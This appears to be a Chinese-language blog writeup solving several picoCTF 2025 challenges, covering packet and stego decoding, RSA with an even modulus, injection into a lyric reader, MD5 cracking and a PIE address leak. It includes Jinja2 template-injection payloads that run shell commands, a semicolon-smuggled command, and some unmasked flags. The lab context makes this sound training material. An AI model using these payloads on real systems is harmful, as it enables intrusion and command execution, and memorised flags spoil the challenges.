PicoCTF 2025 on picoCTF Writeup

Ph4nt0m 1ntrud3r

Thu, 07 May 2026 01:15:00 +0800

題目連結

https://learn.cylabacademy.org/library/459

題目解法

下載後得到一個 myNetworkTraffic.pcap 檔案，可以使用 wireshark 開啟。開啟後用時間排序後如圖

可以發現每個封包結尾有一段使用 base64 編碼的資料，而且封包編號 1 的解碼內容是 picoCTF，接著將時間在封包 1 之後的字串複製出來並解碼即可得到 flag。

cGljb0NURg==
ezF0X3c0cw==
bnRfdGg0dA==
XzM0c3lfdA==
YmhfNHJfZA==
NGI1NzkwOQ==
fQ==

picoCTF{1t_----------------------------909}

EVEN RSA CAN BE BROKEN???

Mon, 04 May 2026 03:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/470

題目解法

使用 nc 連線後題目會提供 $N$, $e$（每次都不一樣）。在這題題目中的 $N$ 有明顯的漏洞，就是是 2 的倍數，代表其中一個質數一定是 $p = 2$。解密步驟：

計算出 $q$ $$q = \frac{N}{2}$$
計算出 $\phi(n)$ $$\phi(n) = \phi(p) \times \phi(q) = (p-1) \times (q-1) = (2-1) \times (q-1) = q-1$$
計算私鑰 $d$：
使用模反元素（Modular Inverse）公式： $$d \equiv e^{-1} \pmod{\phi(N)}$$
解密密文 $C$： $$m = C^d \pmod{N}$$
轉換為文字：
將得到的長整數 $m$ 轉回 bytes，再以 UTF-8 解碼。

解題腳本

將 $N$, $e$, $cyphertext$ 填入執行即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


from Crypto.Util.number import long_to_bytes, inverse

# 已知資訊
N = 24363402644768690727955172666209469821725905198393631084455253811708663554350947264649402937037672246381690969915451279285279631133822103514599606304356602
e = 65537
cyphertext = 13597050467487786638619946148639439992899445404956336122073567173641265830288842478196554274484546393046984321139824087540835441687603028763464962383947497

# 1. 分解 N (因為 N 是偶數，所以其中一個質數是 2)
p = 2
q = N // p

# 2. 計算 phi(N)
phi = (p - 1) * (q - 1)

# 3. 計算私鑰 d
d = inverse(e, phi)

# 4. 解密
m_long = pow(cyphertext, d, N)

# 5. 轉回字串
print(long_to_bytes(m_long).decode('utf-8'))

Flag Hunters

Sun, 03 May 2026 02:10:00 +0800

題目連結

https://learn.cylabacademy.org/library/472

題目解法

下載題目原始碼後進行分析，發現當程式遇到 CROWD 開頭的行時會將使用者輸入的內容會被寫回 song_lines[lip]。此外程式在處理每一行時，會先用 split(';') 將其分割成多個子指令進行循環。
因此當我們輸入

;RETURN 0

程式內部的反應如下：

song_lines[lip] 會變成 ‘Crowd: ;RETURN 0’。
for line in song_lines[lip].split(’;’): 會將這一行切成兩部分：
- 第一部分：‘Crowd: ’ -> 進入 else 分支，列印內容並將 lip 加 1。
- 第二部分：‘RETURN 0’ -> 進入 elif re.match(r"RETURN [0-9]+", line): 分支。
此時 lip 會被設為 int(‘0’)，也就是 0。

while 迴圈繼續執行，下一次迭代就會從 song_lines[0] 開始列印，這時隱藏在開頭的 flag 就會被直接輸出到螢幕上。

webshell:~$ nc verbal-sleep.picoctf.net 53947
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: ;RETURN 0
Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{706-------------------788}

題目原始碼

lyric-reader.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132


import re
import time


# Read in flag from file
flag = open('flag.txt', 'r').read()

secret_intro = \
'''Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, '''\
+ flag + '\n'


song_flag_hunters = secret_intro +\
'''

[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
CROWD (Singalong here!);
RETURN

[VERSE1]
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?

REFRAIN;

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

REFRAIN;

Binary sorcerers, let’s tear it apart,
Disassemble the code to reveal the dark heart.
From opcode to logic, tracing each line,
Emulate and break it, this key will be mine.
Debugging the maze, and I see through the deceit,
Patch it up right, and watch the lock release.

REFRAIN;

Ciphertext tumbling, breaking the spin,
Feistel or AES, we’re destined to win.
Frequency, padding, primes on the run,
Vigenère, RSA, cracking them for fun.
Shift the letters, matrices fall,
Decrypt that flag and hear the ether call.

REFRAIN;

SQL injection, XSS flow,
Map the backend out, let the database show.
Inspecting each cookie, fiddler in the fight,
Capturing requests, push the payload just right.
HTML's secrets, backdoors unlocked,
In the world wide labyrinth, we’re never lost.

REFRAIN;

Stack's overflowing, breaking the chain,
ROP gadget wizardry, ride it to fame.
Heap spray in silence, memory's plight,
Race the condition, crash it just right.
Shellcode ready, smashing the frame,
Control the instruction, flags call my name.

REFRAIN;

END;
'''

MAX_LINES = 100

def reader(song, startLabel):
 lip = 0
 start = 0
 refrain = 0
 refrain_return = 0
 finished = False

 # Get list of lyric lines
 song_lines = song.splitlines()

 # Find startLabel, refrain and refrain return
 for i in range(0, len(song_lines)):
 if song_lines[i] == startLabel:
 start = i + 1
 elif song_lines[i] == '[REFRAIN]':
 refrain = i + 1
 elif song_lines[i] == 'RETURN':
 refrain_return = i

 # Print lyrics
 line_count = 0
 lip = start
 while not finished and line_count < MAX_LINES:
 line_count += 1
 for line in song_lines[lip].split(';'):
 if line == '' and song_lines[lip] != '':
 continue
 if line == 'REFRAIN':
 song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
 lip = refrain
 elif re.match(r"CROWD.*", line):
 crowd = input('Crowd: ')
 song_lines[lip] = 'Crowd: ' + crowd
 lip += 1
 elif re.match(r"RETURN [0-9]+", line):
 lip = int(line.split()[1])
 elif line == 'END':
 finished = True
 else:
 print(line, flush=True)
 time.sleep(0.5)
 lip += 1



reader(song_flag_hunters, '[VERSE1]')

hashcrack

Sun, 03 May 2026 01:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/475

題目解法

可以使用 python 腳本或是線上 hash cracking 工具來完成這題，以下示範使用 python 腳本加上 rockyou.txt 字典。

使用 nc 連線進去後，第一個 hash 值長度為 32，可以猜測是 MD5。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


import hashlib

target_hash = "482c811da5d5b4bc6d497ffa98491e38"
dict_path = "rockyou.txt"

with open(dict_path, 'rb') as f:
 for line in f:
 password = line.strip()
 if hashlib.md5(password).hexdigest() == target_hash:
 print(f"Found: {password.decode(errors='ignore')}")
 break

head-dump

Sun, 03 May 2026 00:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/476

題目解法

啟動網站後查看原始碼可以發現有一個 /api-docs 的頁面。
發現最下面有一個 /heapdump 的 api，按下 Try it out，並按下 Execute，之後將 Response body 下載下來，以文字編輯器打開即可得到 flag。

下載後開啟檔案 heapdump-1777741477740.heapsnapshot：
```
picoCTF{Pat---------------------6ba}
```

SSTI1

Sun, 03 May 2026 00:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/492

題目解法

題目標題是 SSTI，因此啟動網站後我們嘗試輸入 {{ 7*7 }}，結果顯示 49，表示存在 SSTI 漏洞，且可能是 Python/Jinja2 或 PHP/Twig。
```
{{ 7*7 }}
```
輸入 {{ 7*'7' }} 輸出 7777777 確定是 Python/Jinja2。
```
{{ 7*'7' }}
```
接著我們要嘗試尋找到 os 模組，輸入以下內容可以把目前記憶體中所有從 object 繼承而來的類別全部列出來。會輸出非常多內容，我們要嘗試找到 os._wrap_close，搜尋後發現他是第 132 個（從 0 開始）。
```
{{ [].__class__.__base__.__subclasses__() }}
```

使用以下指令就能夠執行 linux 指令，找到 flag 並讀取它。用 ls 列出當前目錄下的檔案：

{{ "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('ls').read() }}

用 cat 讀取 flag：

{{ "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read() }}

picoCTF{s4r-------------------------------------------533}

FANTASY CTF

Sat, 02 May 2026 23:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/471

題目解法

使用 nc 連線後不斷 enter，第一次遇到選項選 c，第二次選 a，即可得到 flag。

webshell:~$ nc verbal-sleep.picoctf.net 55371
FANTASY CTF SIMULATION
The simulation begins in the private room of Eibhilin, a bright, young student.
The room is dimly lit, with the glow of her multiple monitors casting an
electric blue hue on the walls. Around the room are posters of vintage movies
from the MCU — ancient guardians from another age staring down like digital
sentinels.
---
(Press Enter to continue...)
---
Eibhilin stretches back in her chair, adjusting the holo-display of her
keyboard. A soft hum of a nearby server fills the air as her AI companion,
`Nyx`, comes to life.
---
(Press Enter to continue...)
---
"Good evening, Ei," Nyx chirps, "The 3025 edition of picoCTF registration is
open. You asked me to remind so you could try out the competition for the first
time. Do you wish to proceed?"
---
(Press Enter to continue...)
---
Outside, the city of Nexalus glimmers under the stars, but Eibhilin's focus
remains entirely on the screen in front of her.
---
(Press Enter to continue...)
---
"Yes, Nyx. Let's do it!"
---
(Press Enter to continue...)
---
Nyx brings up the registration page.
Options:
A) *Register multiple accounts*
B) *Share an account with a friend*
C) *Register a single, private account*
[a/b/c] > c
Nyx nods, "Good choice, Ei. Let's proceed with a single, private account. It
can be tempting to try and do something 'clever', but registering multiple
accounts or sharing an account with a friend can lead to disqualification."
---
(Press Enter to continue...)
---
"Ok," Nyx says, "Registering you for the competition... There's an introductory
audio message, piping to your speakers."
---
(Press Enter to continue...)
---
"Welcome hacker! You're about to embark on a journey that will teach you many
esoteric and valuable skills. Our mission is to guide you in the right path,
that you may use these skills to protect and defend and never for selfish gain
or deceit. We hope you enjoy the challenges that our authors have devised this
year. Always remember: 'With great power, comes great responsibility!'"
---
(Press Enter to continue...)
---
Nyx continues, "I've gleaned from the Ether that in CTF competitions, it's
always good to start with the 'sanity' challenge. It should be the challenge
worth the least amount of points. I'll pull it up. You're looking for something
called the flag. You should know it when you see it."
---
(Press Enter to continue...)
---
"Oh interesting," Eibhilin says, "It seems like the sanity challenge is an old
school interactive fiction game."
---
(Press Enter to continue...)
---
Options:
A) *Play the game*
B) *Search the Ether for the flag*
[a/b] > a
"Good choice, Ei," Nyx says, "You never want to share flags or artifact
downloads."
---
(Press Enter to continue...)
---
Playing the Game
Playing the Game: 100%|██████████████████████████████████████ [time left: 00:00]
Playing the Game completed successfully!
---
(Press Enter to continue...)
---
"That was fun!" Eibhilin exclaims, "I found the flag!"
---
(Press Enter to continue...)
---
Nyx says, "Great job, Ei! I've read that a lot of players create writeups of
interesting challenges they solve during the competition. Just be sure to wait
to publish them until after the winners have been announced. We can work on
that together if you'd like."
---
(Press Enter to continue...)
---
"Thanks, Nyx! Here's the flag I found: picoCTF{m11--------------------7f5}"
---
(Press Enter to continue...)
---
"Great, you just got 10 points!" Nyx exclaims.
---
(Press Enter to continue...)
---
Eibhilin smiles, "I'm off to a good start!"
---
(Press Enter to continue...)
---

Cookie Monster Secret Recipe

Sat, 02 May 2026 23:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/469

題目解法

啟動挑戰後隨便輸入一組帳密，之後按下 F12 查看開發者工具的 Appilaction 中的 Cookies。
將 Cookies 的值用 URL decode 加上 base64 解碼後即可得到 flag。
```
picoCTF{c00-------------------------------ED1}
```

RED

Sat, 02 May 2026 22:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/460

題目解法

下載檔案後發現是 .png 檔，使用 strings 指令得到下面這段文字，是一首藏頭詩，內容是 CHECKLSB。
LSB 指的是 Least Significant Bit，也就是將資料藏在每個像素中最不明顯的一位元，用肉眼無法察覺。

webshell:~$ strings red.png
IHDR
tEXtPoem
Crimson heart, vibrant and bold,
Hearts flutter at your sight.
Evenings glow softly red,
Cherries burst with sweet life.
Kisses linger with your warmth.
Love deep as merlot.
Scarlet leaves falling softly,
Bold in every stroke.x
IDATx
IEND

要找到使用 LSB 隱藏的資料，可以使用 zsteg 這個工具。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


webshell:~$ zsteg red.png
meta Poem .. text: "Crimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke."
b1,rgba,lsb,xy .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ=="
b1,rgba,msb,xy .. file: OpenPGP Public Key
b2,g,lsb,xy .. text: "ET@UETPETUUT@TUUTD@PDUDDDPE"
b2,rgb,lsb,xy .. file: OpenPGP Secret Key
b2,bgr,msb,xy .. file: OpenPGP Public Key
b2,rgba,lsb,xy .. file: OpenPGP Secret Key
b2,rgba,msb,xy .. text: "CIkiiiII"
b2,abgr,lsb,xy .. file: OpenPGP Secret Key
b2,abgr,msb,xy .. text: "iiiaakikk"
b3,rgba,msb,xy .. text: "#wb#wp#7p"
b3,abgr,msb,xy .. text: "7r'wb#7p"
b4,b,lsb,xy .. file: 0421 Alliant compact executable not stripped

可以發現輸出結果中有一段亂碼明顯是使用 base64 編碼後的文字，將其解碼即可得到 flag。

PIE TIME

Sat, 02 May 2026 21:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/490

題目解法

下載原始碼後可以知道有一個 win() 函式，下載執行檔後進行使用 objdump 進行反組譯。反組譯後可以找到 win 和 main 的位址。

objdump -d vuln

...
00000000000012a7 <win>:
12a7: f3 0f 1e fa endbr64
12ab: 55 push %rbp
12ac: 48 89 e5 mov %rsp,%rbp
12af: 48 83 ec 10 sub $0x10,%rsp
...
000000000000133d <main>:
133d: f3 0f 1e fa endbr64
1341: 55 push %rbp
1342: 48 89 e5 mov %rsp,%rbp
1345: 48 83 ec 20 sub $0x20,%rsp
1349: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
...

使用 nc 連線進去後會提供 main 的位址，可以反推出 win 的位址，輸入後即可得到 flag。